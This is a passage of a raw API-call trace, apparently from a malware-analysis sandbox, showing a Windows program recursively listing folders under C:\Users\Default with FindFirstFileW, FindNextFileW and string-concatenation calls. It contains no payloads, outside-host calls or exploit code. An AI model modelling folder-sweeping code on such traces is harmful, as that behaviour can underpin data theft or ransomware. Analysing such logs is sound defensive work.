lpFindFileData=0x2dc97e8) returned 1 [0107.675] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.675] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.675] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0107.675] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0107.675] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.675] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0107.675] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0107.675] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.675] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.675] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0107.675] SetErrorMode (uMode=0x1) returned 0x1 [0107.675] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0107.675] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0107.675] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Local Settings\\" | out: lpString1="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0107.676] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Local Settings\\*.*") returned="C:\\Users\\Default\\Local Settings\\*.*" [0107.676] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.676] PathFindFileNameW (pszPath="C:\\Users\\Default\\Local Settings") returned="Local Settings" [0107.676] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0107.676] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.676] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0107.676] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Local Settings\\*.*") returned="C:\\Users\\Default\\Local Settings\\*.*" [0107.676] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.676] PathFindFileNameW (pszPath="C:\\Users\\Default\\Local Settings") returned="Local Settings" [0107.676] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0107.676] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.676] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.676] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0107.676] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0107.676] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.676] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.676] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0107.676] SetErrorMode (uMode=0x1) returned 0x1 [0107.676] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0107.676] lstrcatW (in: lpString1="C:\\Users\\Default\\Music", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0107.676] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Music\\" | out: lpString1="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0107.676] lstrcatW (in: lpString1="C:\\Users\\Default\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Music\\*.*") returned="C:\\Users\\Default\\Music\\*.*" [0107.676] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67deb8 [0107.676] PathFindFileNameW (pszPath="C:\\Users\\Default\\Music") returned="Music" [0107.676] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0107.676] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.676] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.676] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 1 [0107.677] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 0 [0107.677] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0107.677] lstrcatW (in: lpString1="C:\\Users\\Default\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Music\\*.*") returned="C:\\Users\\Default\\Music\\*.*" [0107.677] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67dbf8 [0107.677] PathFindFileNameW (pszPath="C:\\Users\\Default\\Music") returned="Music" [0107.677] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0107.677] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.677] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.677] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.677] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.677] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.677] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0107.677] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0107.677] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.677] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0107.677] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0107.677] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.677] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.677] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0107.677] SetErrorMode (uMode=0x1) returned 0x1 [0107.677] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0107.677] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\" [0107.677] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\My Documents\\" | out: lpString1="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\" [0107.678] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\My Documents\\*.*") returned="C:\\Users\\Default\\My Documents\\*.*" [0107.678] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.678] PathFindFileNameW (pszPath="C:\\Users\\Default\\My Documents") returned="My Documents" [0107.678] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0107.678] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.678] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.678] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.678] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0107.678] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\My Documents\\*.*") returned="C:\\Users\\Default\\My Documents\\*.*" [0107.678] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.678] PathFindFileNameW (pszPath="C:\\Users\\Default\\My Documents") returned="My Documents" [0107.678] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0107.678] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.678] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.678] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.678] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.678] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.678] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1 [0107.678] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1 [0107.678] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.678] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.678] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0107.678] SetErrorMode (uMode=0x1) returned 0x1 [0107.678] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0107.678] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\" [0107.678] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\NetHood\\" | out: lpString1="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\" [0107.678] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\NetHood\\*.*") returned="C:\\Users\\Default\\NetHood\\*.*" [0107.678] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.678] PathFindFileNameW (pszPath="C:\\Users\\Default\\NetHood") returned="NetHood" [0107.678] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0107.678] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.678] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.678] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.678] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0107.679] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\NetHood\\*.*") returned="C:\\Users\\Default\\NetHood\\*.*" [0107.679] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.679] PathFindFileNameW (pszPath="C:\\Users\\Default\\NetHood") returned="NetHood" [0107.679] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0107.679] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.679] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.679] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.679] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.679] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.679] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.679] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.679] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.679] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.679] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.679] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.679] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0107.679] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0107.679] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.679] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.679] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0107.679] SetErrorMode (uMode=0x1) returned 0x1 [0107.679] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0107.679] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Pictures\\") returned="C:\\Users\\Default\\Pictures\\" [0107.679] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Pictures\\" | out: lpString1="C:\\Users\\Default\\Pictures\\") returned="C:\\Users\\Default\\Pictures\\" [0107.679] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Pictures\\*.*") returned="C:\\Users\\Default\\Pictures\\*.*" [0107.679] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67dbf8 [0107.679] PathFindFileNameW (pszPath="C:\\Users\\Default\\Pictures") returned="Pictures" [0107.679] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0107.679] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.679] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.679] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0107.679] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0107.680] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0107.680] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Pictures\\*.*") returned="C:\\Users\\Default\\Pictures\\*.*" [0107.680] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67dc78 [0107.680] PathFindFileNameW (pszPath="C:\\Users\\Default\\Pictures") returned="Pictures" [0107.680] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0107.680] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.680] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.680] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.680] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.680] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.680] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 1 [0107.680] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 0 [0107.680] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.680] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0107.680] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0107.680] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.680] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.680] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0107.680] SetErrorMode (uMode=0x1) returned 0x1 [0107.680] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0107.680] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood", lpString2="\\" | out: lpString1="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\" [0107.680] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\PrintHood\\" | out: lpString1="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\" [0107.680] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\PrintHood\\*.*") returned="C:\\Users\\Default\\PrintHood\\*.*" [0107.680] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.680] PathFindFileNameW (pszPath="C:\\Users\\Default\\PrintHood") returned="PrintHood" [0107.680] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0107.680] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.680] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.680] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.681] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0107.681] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\PrintHood\\*.*") returned="C:\\Users\\Default\\PrintHood\\*.*" [0107.681] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.681] PathFindFileNameW (pszPath="C:\\Users\\Default\\PrintHood") returned="PrintHood" [0107.681] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0107.681] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.681] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.681] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.681] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.681] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.681] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0107.681] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0107.681] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.681] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.681] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0107.681] SetErrorMode (uMode=0x1) returned 0x1 [0107.681] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0107.681] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\" [0107.681] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Recent\\" | out: lpString1="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\" [0107.681] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Recent\\*.*") returned="C:\\Users\\Default\\Recent\\*.*" [0107.681] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.681] PathFindFileNameW (pszPath="C:\\Users\\Default\\Recent") returned="Recent" [0107.681] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0107.681] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.681] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.681] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.681] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0107.681] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Recent\\*.*") returned="C:\\Users\\Default\\Recent\\*.*" [0107.681] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.681] PathFindFileNameW (pszPath="C:\\Users\\Default\\Recent") returned="Recent" [0107.681] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0107.681] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.681] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.681] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.681] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.681] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.682] lstrcmpW (lpString1="Saved Games", lpString2="..") returned 1 [0107.682] lstrcmpW (lpString1="Saved Games", lpString2=".") returned 1 [0107.682] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.682] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.682] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0107.682] SetErrorMode (uMode=0x1) returned 0x1 [0107.682] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0107.682] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\" [0107.682] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Saved Games\\" | out: lpString1="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\" [0107.682] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Saved Games\\*.*") returned="C:\\Users\\Default\\Saved Games\\*.*" [0107.682] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67dfb8 [0107.682] PathFindFileNameW (pszPath="C:\\Users\\Default\\Saved Games") returned="Saved Games" [0107.682] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0107.682] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.682] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.682] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0107.682] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0107.682] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0107.682] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Saved Games\\*.*") returned="C:\\Users\\Default\\Saved Games\\*.*" [0107.682] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67db78 [0107.682] PathFindFileNameW (pszPath="C:\\Users\\Default\\Saved Games") returned="Saved Games" [0107.682] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0107.682] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.682] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.682] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.682] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.682] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 